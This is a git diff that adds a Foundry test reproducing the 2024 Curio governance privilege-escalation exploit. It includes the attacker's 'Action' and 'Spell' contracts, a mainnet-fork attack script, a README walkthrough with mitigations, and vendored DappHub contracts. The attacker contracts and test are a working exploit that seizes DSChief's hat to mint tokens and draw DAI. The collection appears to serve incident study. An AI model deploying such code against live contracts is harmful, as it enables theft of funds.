diff --git a/README.md b/README.md
index f6e417a..52fb77d 100644
--- a/README.md
+++ b/README.md
@@ -35,6 +35,7 @@ The full list is below:
- [Sandbox, Feb 2022 - (1 NFT, possibly more) - Public Burn](/test/Access_Control/Sandbox)
- [Punk Protocol, Aug 2021 - (~$8MM) - Non initialized contract](/test/Access_Control/PunkProtocol)
- [MBC Token, Nov 2022 - (~$8MM) - External function](/test/Access_Control/MBCToken)
+- [Curio Token, Mar 2024 - (~$16MM) - Privilege escalation](/test/Access_Control/Curio)
### Bad Data Validation
- [Olympus DAO Bond, Oct 2022 - (~$300,000) - Arbitrary Tokens / Unchecked transfers](/test/Bad_Data_Validation/Bond_OlympusDAO/)
diff --git a/lib/forge-std b/lib/forge-std
index 4513bc2..e8a047e 160000
--- a/lib/forge-std
+++ b/lib/forge-std
@@ -1 +1 @@
-Subproject commit 4513bc2063f23c57bee6558799584b518d387a39
+Subproject commit e8a047e3f40f13fa37af6fe14e6e06283d9a060e
diff --git a/lib/solmate b/lib/solmate
index c892309..2001af4 160000
--- a/lib/solmate
+++ b/lib/solmate
@@ -1 +1 @@
-Subproject commit c892309933b25c03d32b1b0d674df7ae292ba925
+Subproject commit 2001af43aedb46fdc2335d2a7714fb2dae7cfcd1
diff --git a/test/Access_Control/Curio/AttackerContract.sol b/test/Access_Control/Curio/AttackerContract.sol
new file mode 100644
index 0000000..0869959
--- /dev/null
+++ b/test/Access_Control/Curio/AttackerContract.sol
@@ -0,0 +1,78 @@
+pragma solidity ^0.8.24;
+
+import "./Interfaces.sol";
+import "forge-std/console.sol";
+import "./ds-contracts/Chief/chief.sol";
+import "./ds-contracts/pause.sol";
+
+// Contract used by the attacker to get outstanding CGT balance
+// The contract is verified at https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545#code
+contract Action {
+ IDSChief public chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0);
+ DSPause public pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f);
+ Spell spell;
+
+ address public pans; // the attacker named the deployer after pans
+
+ constructor() {
+ pans = msg.sender;
+ }
+
+ modifier onlyPans() {
+ require(pans == msg.sender, "not pans");
+ _;
+ }
+
+ function cook(address _cgt, uint256 amount, uint256 wethMin, uint256 daiMin) external onlyPans {
+ IERC20 cgt = IERC20(_cgt);
+ cgt.transferFrom(msg.sender, address(this), amount);
+
+ cgt.approve(address(chief), amount);
+
+ chief.lock(amount);
+ console.log("CGT Balance after locking in chief: %s", cgt.balanceOf(address(this)));
+
+ address[] memory _yays = new address[](1);
+ _yays[0] = address(this);
+ chief.vote(_yays);
+ chief.lift(address(this));
+
+ spell = new Spell();
+ address spellAddr = address(spell);
+ bytes32 tag;
+ assembly {
+ tag := extcodehash(spellAddr)
+ }
+
+ bytes memory funcSig = abi.encodeWithSignature("act(address,address)", address(this), address(cgt));
+ uint256 delay = block.timestamp + 0;
+
+ pause.plot(spellAddr, tag, funcSig, delay);
+ pause.exec(spellAddr, tag, funcSig, delay);
+ }
+}
+
+contract Spell {
+ function act(address user, IMERC20 cgt) public {
+ IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57);
+ IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF);
+
+ vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27);
+
+ vat.hope(address(daiJoin));
+ daiJoin.exit(user, 10 ** 9 * 1 ether);
+
+ cgt.mint(user, 10 ** 12 * 1 ether);
+ }
+
+ // Methods in attacker's spell. Used later on to perform the swaps.
+ // Not strictly required for the attack.
+ function clean(IMERC20 cgt) external {
+ // Anti-mev
+ cgt.stop();
+ }
+
+ function cleanToo(IMERC20 cgt) external {
+ cgt.start();
+ }
+}
diff --git a/test/Access_Control/Curio/Curio.attack.sol b/test/Access_Control/Curio/Curio.attack.sol
new file mode 100644
index 0000000..9329137
--- /dev/null
+++ b/test/Access_Control/Curio/Curio.attack.sol
@@ -0,0 +1,137 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.24;
+
+import "forge-std/Test.sol";
+import {TestHarness} from "../../TestHarness.sol";
+import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol";
+import "./AttackerContract.sol";
+import "./Interfaces.sol";
+import "./ds-contracts/vat.sol";
+import "./ds-contracts/join.sol";
+import "./ds-contracts/Chief/chief.sol";
+
+contract Exploit_Curio is TestHarness, TokenBalanceTracker {
+ // Instances of tokens involved
+ IDSToken cgtToken = IDSToken(0xF56b164efd3CFc02BA739b719B6526A6FA1cA32a);
+ IMERC20 curioCSCToken = IMERC20(0xfDcdfA378818AC358739621ddFa8582E6ac1aDcB);
+
+ // Instances of relevant contracts
+ Action attackerContract;
+ DSChief chief;
+ DSPause pause;
+ Vat vat;
+ DaiJoin daiJoin;
+ IMERC20 IOU;
+
+ // Peripheral contracts
+ IForeignOmnibridge foreignOmniBridge = IForeignOmnibridge(0x69c707d975e8d883920003CC357E556a4732CD03);
+ ICurioBridge curioBridge = ICurioBridge(0x9b8A09b3f538666479a66888441E15DDE8d13412);
+
+ address ATTACKER = makeAddr("ATTACKER");
+
+ function setUp() external {
+ // Attack tx: 0x4ff4028b03c3df468197358b99f5160e5709e7fce3884cc8ce818856d058e106
+
+ // Create a fork right before the attack started
+ cheat.createSelectFork("mainnet", 19_498_910);
+
+ // Setup attackers account
+ deal(address(cgtToken), ATTACKER, 100 ether);
+
+ // Initialize labels and token tracker
+ _labelAccounts();
+ _tokenTrackerSetup();
+ }
+
+ function test_attack() public {
+ console.log("\n==== STEP 0: Instance protocol contracts ====");
+ // These contracts were deployed almost 3 years before the attack by Curio
+ _instanceCurioContracts();
+
+ console.log("\n==== STEP 1: Send tokens to Omnibridge ====");
+ // Approve tx: 0x0b4a076b4fe1d873b75e7fadc3d99e0240a61fa23f5327782416588f09c32295
+ // Relay tx: 0xf653d1d9c18bf0be78c5b7a2c58c9286bf02fd2b4c8d2106180929526b7fc151
+ cheat.startPrank(ATTACKER);
+ cgtToken.approve(address(foreignOmniBridge), 10 ether);
+ foreignOmniBridge.relayTokens(address(cgtToken), 10 ether);
+ console.log("Relay successful");
+ cheat.stopPrank();
+
+ console.log("\n==== STEP 2: Lock tokens to Curio Bridge ====");
+ // Approve tx: 0x08e5c70d3407acec5cb85ff064e5fe029eca191d16966d1aaac6613702a0c6ce
+ // Lock tx: 0xf653d1d9c18bf0be78c5b7a2c58c9286bf02fd2b4c8d2106180929526b7fc151
+ cheat.startPrank(ATTACKER);
+ cgtToken.approve(address(curioBridge), 10 ether);
+ curioBridge.lock(bytes32(0), address(cgtToken), 10 ether);
+ // we pass an arb to address on Curio Parachain
+ console.log("Lock successful");
+ cheat.stopPrank();
+
+ console.log("\n==== STEP 3: Deploy Attacker's contract (called Action) ====");
+ // Deploy tx: 0x99cc992de6e42a0817713489aeeb21f2d5e5fdca1f833826be09a9f35e5654e3
+ cheat.prank(ATTACKER);
+ attackerContract = new Action();
+ require(address(attackerContract).code.length != 0, "Attacker's contract deployment failed");
+ console.log("Attacker's contract deployement successful at: %s", address(attackerContract));
+
+ console.log("\n==== STEP 4: Call cook() on Action, start attack ====");
+ console.log("== Before attack ==");
+ address _hat = chief.hat();
+ console.log("Chief hat: %s", _hat);
+ console.log("Chief approvals: %s", chief.approvals(_hat));
+ console.log("Attacker CGT Balance: %s", cgtToken.balanceOf(address(attackerContract)));
+ console.log("\n");
+
+ cheat.startPrank(ATTACKER);
+ cgtToken.approve(address(attackerContract), 2 ether); // 0x6a4cb2aa03ebf35f25e9f34a1727f7e0ea34c5e59cebc85b9e9c0729c6b0ad59
+ attackerContract.cook(address(cgtToken), 2 ether, 10 ether, 10 ether);
+ cheat.stopPrank();
+
+ console.log("\n== After attack ==");
+ _hat = chief.hat();
+ console.log("Chief hat: %s", _hat);
+ console.log("Chief approvals: %s", chief.approvals(_hat));
+ console.log("Attacker CGT Balance: %s", cgtToken.balanceOf(address(attackerContract)));
+
+ // the last two params were set to some arbitrary-like values but are unused in the call.
+ // Just for profit checks:
+ /*
+ require(weth.balanceOf(address(this)) >= wethMin, "not enought weth");
+ require(dai.balanceOf(address(this)) >= daiMin, "not enought dai");
+ */
+ }
+
+ function _instanceCurioContracts() internal {
+ // CSC Curio Token deployer: 0x63eA2D3fCb0759Ab9aD46eDc5269D7DebD0BDbe6
+
+ // IOU deployment: 0x8b8ef358b5407298bc7e77e77575993a3f559b4f343e26f1c5cf721e6922cf46
+ IOU = IMERC20(0xD29CAB1a24fC9fa22a035A7c3a0bF54a7cE7598D);
+
+ // Chief deployment: 0x83661c0bb2d1288c523aba5aaa9f78d237eb6d068f5374ce221c38b0c088c598
+ chief = DSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0);
+
+ // Pause deployment: 0x5629b47d48a6af2956ce0ab966c8aa7a7fb99d6d1ebfa17d359f129b00b60aa2
+ pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f);
+
+ // Vat deployment: 0x5fcb57eb4326220c3c0ae53cd78defed530a8cd4dddde28a45c4c7cd9a06b5f2
+ vat = Vat(0x8B2B0c101adB9C3654B226A3273e256a74688E57);
+
+ // DaiJoin deployment: 0xb467409f36f03fd0328e49858bfbd662b15a362fd932ed8c3e20892bba39229f
+ daiJoin = DaiJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF);
+ }
+
+ function _labelAccounts() internal {
+ cheat.label(ATTACKER, "Attacker");
+
+ cheat.label(address(foreignOmniBridge), "ForeignOmniBridge");
+ cheat.label(address(cgtToken), "CGT Token");
+ cheat.label(address(curioCSCToken), "CSC Token");
+ }
+
+ function _tokenTrackerSetup() internal {
+ // Add relevant tokens to tracker
+
+ // Initialize user's state
+ updateBalanceTracker(address(this));
+ }
+}
diff --git a/test/Access_Control/Curio/Interfaces.sol b/test/Access_Control/Curio/Interfaces.sol
new file mode 100644
index 0000000..7538f21
--- /dev/null
+++ b/test/Access_Control/Curio/Interfaces.sol
@@ -0,0 +1,44 @@
+import {IERC20} from "../../interfaces/IERC20.sol";
+
+interface IDSToken is IERC20 {
+ function pull(address src, uint256 wad) external; // makes a transferFrom
+ function mint(address to, uint256 amount) external;
+}
+
+interface IMERC20 is IERC20 {
+ function mint(address guy, uint256 wad) external;
+ function burn(address guy, uint256 wad) external;
+ function start() external;
+ function stop() external;
+}
+
+interface IVat {
+ function suck(address u, address v, uint256 rad) external;
+ function hope(address usr) external;
+}
+
+interface IJoin {
+ function exit(address usr, uint256 wad) external;
+}
+
+interface IForeignOmnibridge {
+ function relayTokens(address token, uint256 _value) external;
+}
+
+interface ICurioBridge {
+ function lock(bytes32 to, address token, uint256 amount) external;
+}
+
+// Interfaces used by the attacker on their contract
+interface IDSChief {
+ function lock(uint256 wad) external;
+ function vote(address[] memory yays) external returns (bytes32);
+ function lift(address whom) external;
+}
+
+interface IDSPause {
+ function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) external;
+ function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta)
+ external
+ returns (bytes memory out);
+}
diff --git a/test/Access_Control/Curio/README.md b/test/Access_Control/Curio/README.md
new file mode 100644
index 0000000..f5e00da
--- /dev/null
+++ b/test/Access_Control/Curio/README.md
@@ -0,0 +1,198 @@
+# Curio Privilege Escalation
+- **Type:** Exploit
+- **Network:** Ethereum
+- **Total lost**: ~16MM USD
+- **Category:** Access Control
+- **Vulnerable contracts:**
+- - [Curio Chief](https://etherscan.io/address/0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0#code)
+- - [Curio Pause](https://etherscan.io/address/0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f#code)
+
+- **Attack transactions:**
+- - [Privilege escalation and mint](https://etherscan.io/tx/0x4ff4028b03c3df468197358b99f5160e5709e7fce3884cc8ce818856d058e106)
+
+- **Attacker Addresses**:
+- - Attacker EOA: [0xdaAa6294C47b5743BDafe0613d1926eE27ae8cf5](https://etherscan.io/address/0xdaAa6294C47b5743BDafe0613d1926eE27ae8cf5)
+- - Attacker Contract (verified): [0x1E791527AEA32cDDBD7CeB7F04612DB536816545](https://etherscan.io/address/0x1E791527AEA32cDDBD7CeB7F04612DB536816545)
+
+- **Attack Block:**: `19,498,911`
+- **Date:** Mar 23, 2024
+- **Reproduce:** `forge test --match-contract=Exploit_Curio -vvv`
+
+## Step-by-step
+1. The attacker locked tokens into the `DSChief` contract.
+2. Accumulated enough voting power.
+3. Displaced (lifted) the current hat and set their contract as the new hat (without requiring many tokens).
+4. The `DSPause` contract, upon making a `delegatecall`, checked `DSChief.canCall`, which returned true for the attacker's contract.
+5. Consuming the authorized minter role from `DSPause`, the attacker executed a malicious instructions through a custom `Spell` contract to mint tokens directly to themselves.
+
+
+## Detailed Description
+Curio Finance leverages MakerDAO contracts for managing specific protocol functionalities. Their CSC Curio token, a `DSToken`, designates the `DSPauseProxy` contract as its minter. The `DSPause` contract relies on `DSChief.canCall` to verify if an authorized (privileged) call is permitted.
+Then, executes a `delegatecall` through its proxy.
+
+The operational vulnerability resided in the `DSChief` contract, which manages a HAT account that can be reconfigured with not much voting power. The attacker exploited this by locking tokens in `DSChief`, getting enough votes to lift and displace the current hat, subsequently positioning their contract as the new hat. The main issue was that the previous hat (Curio's `DSSSpell`) did not have enough voting power to consider the system safe, which allowed the easy and cheap displacement.
+
+The attacker was able to displace the `hat` by making the following calls on [chief.sol](https://github.com/CurioTeam/ds-chief/blob/simplify/src/chief.sol).
+
+- Get initial voting weight.
+```solidity
+ function lock(uint128 wad)
+ note
+ {
+ GOV.pull(msg.sender, wad);
+ IOU.mint(wad);
+ IOU.push(msg.sender, wad);
+ deposits[msg.sender] = wadd(deposits[msg.sender], wad);
+ addWeight(wad, votes[msg.sender]);
+ }
+
+ function addWeight(uint128 weight, bytes32 slate)
+ internal
+ {
+ var yays = slates[slate];
+ for( uint i = 0; i < yays.length; i++) {
+ approvals[yays[i]] = wadd(approvals[yays[i]], weight);
+ }
+ }
+```
+
+```solidity
+ function vote(bytes32 slate)
+ note
+ {
+ uint128 weight = deposits[msg.sender];
+ subWeight(weight, votes[msg.sender]);
+ votes[msg.sender] = slate;
+ addWeight(weight, votes[msg.sender]);
+ }
+```
+
+- Displace the previous hat:
+```solidity
+ function lift(address whom)
+ note
+ {
+ require(approvals[whom] > approvals[hat]);
+ hat = whom;
+ }
+```
+
+Since the authorized minter of the CSC Token is the `DSPauseProxy` which is controlled by the `DSPause` contract, by getting enough privileges through
+the escalation made on the Chief the attacker was able to make the arbitrary `delegatecall` from the proxy.
+
+- [`roles.sol`](https://github.com/dapphub/ds-roles/blob/495863375b87efe062eb3b723e6a199633ec7e51/src/roles.sol#L40):
+
+These functions were called from the pause contract to validate the caller's privileges.
+```solidity
+ function canCall(address caller, address code, bytes4 sig)
+ constant
+ returns (bool)
+ {
+ if( isUserRoot(caller) || isCapabilityPublic(code, sig) ) {
+ return true;
+ } else {
+ var has_roles = getUserRoles(caller);
+ var needs_one_of = getCapabilityRoles(code, sig);
+ return bytes32(0) != has_roles & needs_one_of;
+ }
+ }
+```
+
+- `chief.sol`:
+```solidity
+ function isUserRoot(address who)
+ constant
+ returns (bool)
+ {
+ return (who == hat);
+ }
+```
+
+- [`pause.sol`](https://github.com/CurioTeam/ds-pause/blob/solc-0.5-0.6/src/pause.sol):
+
+```solidity
+ modifier auth {
+ require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
+ _;
+ }
+
+ function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
+ if (src == address(this)) {
+ return true;
+ } else if (src == owner) {
+ return true;
+ } else if (authority == address(0)) {
+ return false;
+ } else {
+ return DSAuthority(authority).canCall(src, address(this), sig);
+ }
+ }
+```
+
+The following functions were used to enqueue and call for the execution on `DSPause`.
+```solidity
+ function plot(address usr, bytes32 tag, bytes memory fax, uint eta)
+ public note auth
+ {
+ require(eta >= add(now, delay), "ds-pause-delay-not-respected");
+ plans[hash(usr, tag, fax, eta)] = true;
+ }
+```
+
+```solidity
+ function exec(address usr, bytes32 tag, bytes memory fax, uint eta)
+ public note
+ returns (bytes memory out)
+ {
+ require(plans[hash(usr, tag, fax, eta)], "ds-pause-unplotted-plan");
+ require(soul(usr) == tag, "ds-pause-wrong-codehash");
+ require(now >= eta, "ds-pause-premature-exec");
+
+ plans[hash(usr, tag, fax, eta)] = false;
+
+ out = proxy.exec(usr, fax);
+ require(proxy.owner() == address(this), "ds-pause-illegal-storage-change");
+ }
+```
+
+Finally, make the `delegatecall` from the `DSPauseProxy`:
+
+```solidity
+ function exec(address usr, bytes memory fax)
+ public auth
+ returns (bytes memory out)
+ {
+ bool ok;
+ (ok, out) = usr.delegatecall(fax);
+ require(ok, "ds-pause-delegatecall-error");
+ }
+```
+
+Upon making that `delegatecall`, `DSPause` verifies through `DSChief.canCall`, which returned true given the attacker's contract was now the hat. Since `DSPause` executes actions with `delegatecall` and got minting authority for the token, the attacker deployed a malicious custom `Spell` contract to mint tokens directly to their address.
+
+- `Spell` contract:
+```solidity
+ function act(address user, IMERC20 cgt) public {
+ IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57);
+ IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF);
+
+ vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27);
+
+ vat.hope(address(daiJoin));
+ daiJoin.exit(user, 10 ** 9 * 1 ether);
+
+ cgt.mint(user, 10 ** 12 * 1 ether);
+ }
+```
+
+Then, the attacker made multiple swaps and cross-chain transfers using different providers.
+
+## Possible mitigations
+1. Implement stringent access controls to prevent unauthorized role changes
+2. Simulate and test safe operative values for voting power.
+3. The system's voting power and privileges setup should be robust enough to prevent/handle voting power manipulation attacks, collusion, among others.
+
+## Sources and references
+- [Curio Tweet](https://twitter.com/curio_invest/status/1771635979192774674)
+- [Hacken Tweet](https://x.com/hackenclub/status/1772288824799801401)
+- [Rekt Article](https://rekt.news/curio-rekt/)
diff --git a/test/Access_Control/Curio/ds-contracts/Chief/auth.sol b/test/Access_Control/Curio/ds-contracts/Chief/auth.sol
new file mode 100644
index 0000000..6d7f5ad
--- /dev/null
+++ b/test/Access_Control/Curio/ds-contracts/Chief/auth.sol
@@ -0,0 +1,61 @@
+// SPDX-License-Identifier: GNU-3
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+
+pragma solidity >=0.8.23;
+
+interface DSAuthority {
+ function canCall(address src, address dst, bytes4 sig) external view returns (bool);
+}
+
+contract DSAuthEvents {
+ event LogSetAuthority(address indexed authority);
+ event LogSetOwner(address indexed owner);
+}
+
+contract DSAuth is DSAuthEvents {
+ DSAuthority public authority;
+ address public owner;
+
+ constructor() public {
+ owner = msg.sender;
+ emit LogSetOwner(msg.sender);
+ }
+
+ function setOwner(address owner_) public virtual auth {
+ owner = owner_;
+ emit LogSetOwner(owner);
+ }
+
+ function setAuthority(DSAuthority authority_) public virtual auth {
+ authority = authority_;
+ emit LogSetAuthority(address(authority));
+ }
+
+ modifier auth() {
+ require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
+ _;
+ }
+
+ function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
+ if (src == address(this)) {
+ return true;
+ } else if (src == owner) {
+ return true;
+ } else if (authority == DSAuthority(address(0))) {
+ return false;
+ } else {
+ return authority.canCall(src, address(this), sig);
+ }
+ }
+}
diff --git a/test/Access_Control/Curio/ds-contracts/Chief/chief.sol b/test/Access_Control/Curio/ds-contracts/Chief/chief.sol
new file mode 100644
index 0000000..3e6909f
--- /dev/null
+++ b/test/Access_Control/Curio/ds-contracts/Chief/chief.sol
@@ -0,0 +1,173 @@
+// chief.sol - select an authority by consensus
+
+// Copyright (C) 2017 DappHub, LLC
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+
+pragma solidity >=0.8.23;
+
+import "./token.sol";
+import "./roles.sol";
+import "./thing.sol";
+
+// The right way to use this contract is probably to mix it with some kind
+// of `DSAuthority`, like with `ds-roles`.
+// SEE DSChief
+contract DSChiefApprovals is DSThing {
+ mapping(bytes32 => address[]) public slates;
+ mapping(address => bytes32) public votes;
+ mapping(address => uint256) public approvals;
+ mapping(address => uint256) public deposits;
+ DSToken public GOV; // voting token that gets locked up
+ DSToken public IOU; // non-voting representation of a token, for e.g. secondary voting mechanisms
+ address public hat; // the chieftain's hat
+
+ uint256 public MAX_YAYS;
+
+ mapping(address => uint256) public last;
+
+ bool public live;
+
+ uint256 constant LAUNCH_THRESHOLD = 80_000 * 10 ** 18; // 80K MKR launch threshold
+
+ event Etch(bytes32 indexed slate);
+
+ // IOU constructed outside this contract reduces deployment costs significantly
+ // lock/free/vote are quite sensitive to token invariants. Caution is advised.
+ constructor(DSToken GOV_, DSToken IOU_, uint256 MAX_YAYS_) public {
+ GOV = GOV_;
+ IOU = IOU_;
+ MAX_YAYS = MAX_YAYS_;
+ }
+
+ function launch() public note {
+ require(!live);
+ require(hat == address(0) && approvals[address(0)] >= LAUNCH_THRESHOLD);
+ live = true;
+ }
+
+ function lock(uint256 wad) public note {
+ last[msg.sender] = block.number;
+ GOV.pull(msg.sender, wad);
+ IOU.mint(msg.sender, wad);
+ deposits[msg.sender] = add(deposits[msg.sender], wad);
+ addWeight(wad, votes[msg.sender]);
+ }
+
+ function free(uint256 wad) public note {
+ require(block.number > last[msg.sender]);
+ deposits[msg.sender] = sub(deposits[msg.sender], wad);
+ subWeight(wad, votes[msg.sender]);
+ IOU.burn(msg.sender, wad);
+ GOV.push(msg.sender, wad);
+ }
+
+ function etch(address[] memory yays) public note returns (bytes32 slate) {
+ require(yays.length <= MAX_YAYS);
+ requireByteOrderedSet(yays);
+
+ bytes32 hash = keccak256(abi.encodePacked(yays));
+ slates[hash] = yays;
+ emit Etch(hash);
+ return hash;
+ }
+
+ function vote(address[] memory yays) public returns (bytes32)
+ // note both sub-calls note
+ {
+ bytes32 slate = etch(yays);
+ vote(slate);
+ return slate;
+ }
+
+ function vote(bytes32 slate) public note {
+ require(
+ slates[slate].length > 0
+ || slate == 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470,
+ "ds-chief-invalid-slate"
+ );
+ uint256 weight = deposits[msg.sender];
+ subWeight(weight, votes[msg.sender]);
+ votes[msg.sender] = slate;
+ addWeight(weight, votes[msg.sender]);
+ }
+
+ // like `drop`/`swap` except simply "elect this address if it is higher than current hat"
+ function lift(address whom) public note {
+ require(approvals[whom] > approvals[hat]);
+ hat = whom;
+ }
+
+ function addWeight(uint256 weight, bytes32 slate) internal {
+ address[] storage yays = slates[slate];
+ for (uint256 i = 0; i < yays.length; i++) {
+ approvals[yays[i]] = add(approvals[yays[i]], weight);
+ }
+ }
+
+ function subWeight(uint256 weight, bytes32 slate) internal {
+ address[] storage yays = slates[slate];
+ for (uint256 i = 0; i < yays.length; i++) {
+ approvals[yays[i]] = sub(approvals[yays[i]], weight);
+ }
+ }
+
+ // Throws unless the array of addresses is a ordered set.
+ function requireByteOrderedSet(address[] memory yays) internal pure {
+ if (yays.length == 0 || yays.length == 1) {
+ return;
+ }
+ for (uint256 i = 0; i < yays.length - 1; i++) {
+ // strict inequality ensures both ordering and uniqueness
+ require(uint160(yays[i]) < uint160(yays[i + 1]));
+ }
+ }
+}
+
+// `hat` address is unique root user (has every role) and the
+// unique owner of role 0 (typically 'sys' or 'internal')
+contract DSChief is DSRoles, DSChiefApprovals {
+ constructor(DSToken GOV, DSToken IOU, uint256 MAX_YAYS) public DSChiefApprovals(GOV, IOU, MAX_YAYS) {
+ authority = this;
+ owner = address(0);
+ }
+
+ function setOwner(address owner_) public override {
+ owner_;
+ revert();
+ }
+
+ function setAuthority(DSAuthority authority_) public override {
+ authority_;
+ revert();
+ }
+
+ function isUserRoot(address who) public view override returns (bool) {
+ return (live && who == hat);
+ }
+
+ function setRootUser(address who, bool enabled) public override {
+ who;
+ enabled;
+ revert();
+ }
+}
+
+contract DSChiefFab {
+ function newChief(DSToken gov, uint256 MAX_YAYS) public returns (DSChief chief) {
+ DSToken iou = new DSToken("IOU");
+ chief = new DSChief(gov, iou, MAX_YAYS);
+ iou.setOwner(address(chief));
+ }
+}
diff --git a/test/Access_Control/Curio/ds-contracts/Chief/math.sol b/test/Access_Control/Curio/ds-contracts/Chief/math.sol
new file mode 100644
index 0000000..230bdb8
--- /dev/null
+++ b/test/Access_Control/Curio/ds-contracts/Chief/math.sol
@@ -0,0 +1,96 @@
+/// math.sol -- mixin for inline numerical wizardry
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+
+pragma solidity >0.4.13;
+
+contract DSMath {
+ function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ require((z = x + y) >= x, "ds-math-add-overflow");
+ }
+
+ function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ require((z = x - y) <= x, "ds-math-sub-underflow");
+ }
+
+ function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
+ }
+
+ function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ return x <= y ? x : y;
+ }
+
+ function max(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ return x >= y ? x : y;
+ }
+
+ function imin(int256 x, int256 y) internal pure returns (int256 z) {
+ return x <= y ? x : y;
+ }
+
+ function imax(int256 x, int256 y) internal pure returns (int256 z) {
+ return x >= y ? x : y;
+ }
+
+ uint256 constant WAD = 10 ** 18;
+ uint256 constant RAY = 10 ** 27;
+
+ //rounds to zero if x*y < WAD / 2
+ function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ z = add(mul(x, y), WAD / 2) / WAD;
+ }
+ //rounds to zero if x*y < WAD / 2
+
+ function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ z = add(mul(x, y), RAY / 2) / RAY;
+ }
+ //rounds to zero if x*y < WAD / 2
+
+ function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ z = add(mul(x, WAD), y / 2) / y;
+ }
+ //rounds to zero if x*y < RAY / 2
+
+ function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ z = add(mul(x, RAY), y / 2) / y;
+ }
+
+ // This famous algorithm is called "exponentiation by squaring"
+ // and calculates x^n with x as fixed-point and n as regular unsigned.
+ //
+ // It's O(log n), instead of O(n) for naive repeated multiplication.
+ //
+ // These facts are why it works:
+ //
+ // If n is even, then x^n = (x^2)^(n/2).
+ // If n is odd, then x^n = x * x^(n-1),
+ // and applying the equation for even x gives
+ // x^n = x * (x^2)^((n-1) / 2).
+ //
+ // Also, EVM division is flooring and
+ // floor[(n-1) / 2] = floor[n / 2].
+ //
+ function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) {
+ z = n % 2 != 0 ? x : RAY;
+
+ for (n /= 2; n != 0; n /= 2) {
+ x = rmul(x, x);
+
+ if (n % 2 != 0) {
+ z = rmul(z, x);
+ }
+ }
+ }
+}
diff --git a/test/Access_Control/Curio/ds-contracts/Chief/note.sol b/test/Access_Control/Curio/ds-contracts/Chief/note.sol
new file mode 100644
index 0000000..cdd6116
--- /dev/null
+++ b/test/Access_Control/Curio/ds-contracts/Chief/note.sol
@@ -0,0 +1,43 @@
+/// note.sol -- the `note' modifier, for logging calls as events
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+
+pragma solidity >=0.8.23;
+
+contract DSNote {
+ event LogNote(
+ bytes4 indexed sig,
+ address indexed guy,
+ bytes32 indexed foo,
+ bytes32 indexed bar,
+ uint256 wad,
+ bytes fax
+ ) anonymous;
+
+ modifier note() {
+ bytes32 foo;
+ bytes32 bar;
+ uint256 wad;
+
+ assembly {
+ foo := calldataload(4)
+ bar := calldataload(36)
+ wad := callvalue()
+ }
+
+ _;
+
+ emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data);
+ }
+}
diff --git a/test/Access_Control/Curio/ds-contracts/Chief/roles.sol b/test/Access_Control/Curio/ds-contracts/Chief/roles.sol
new file mode 100644
index 0000000..82044dc
--- /dev/null
+++ b/test/Access_Control/Curio/ds-contracts/Chief/roles.sol
@@ -0,0 +1,91 @@
